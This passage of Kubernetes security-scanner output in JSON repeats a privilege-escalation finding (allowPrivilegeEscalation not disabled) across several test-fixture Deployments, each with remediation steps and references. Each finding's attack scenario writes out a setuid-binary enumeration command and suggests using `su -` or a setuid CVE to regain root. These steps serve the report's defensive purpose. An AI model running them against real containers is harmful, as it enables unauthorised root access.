    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/netpol-imds/imds-open-app`",
    "description": "Container `app` in `Deployment/netpol-imds/imds-open-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n netpol-imds -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`",
    "description": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n psa-unlabeled-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:rbac-fixtures:imp-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/rbac-fixtures/imp-app`",
    "description": "Container `app` in `Deployment/rbac-fixtures/imp-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n rbac-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:rbac-fixtures:wildcard-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/rbac-fixtures/wildcard-app`",
    "description": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n rbac-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:statusspoof-fixtures:statusspoof-api:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/statusspoof-fixtures/statusspoof-api`",
    "description": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n statusspoof-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:vulnerable:generic-hostpath-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/vulnerable/generic-hostpath-app`",
    "description": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:vulnerable:host-ns-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/vulnerable/host-ns-app`",
    "description": "Container `app` in `Deployment/vulnerable/host-ns-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/vulnerable/risky-app`",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
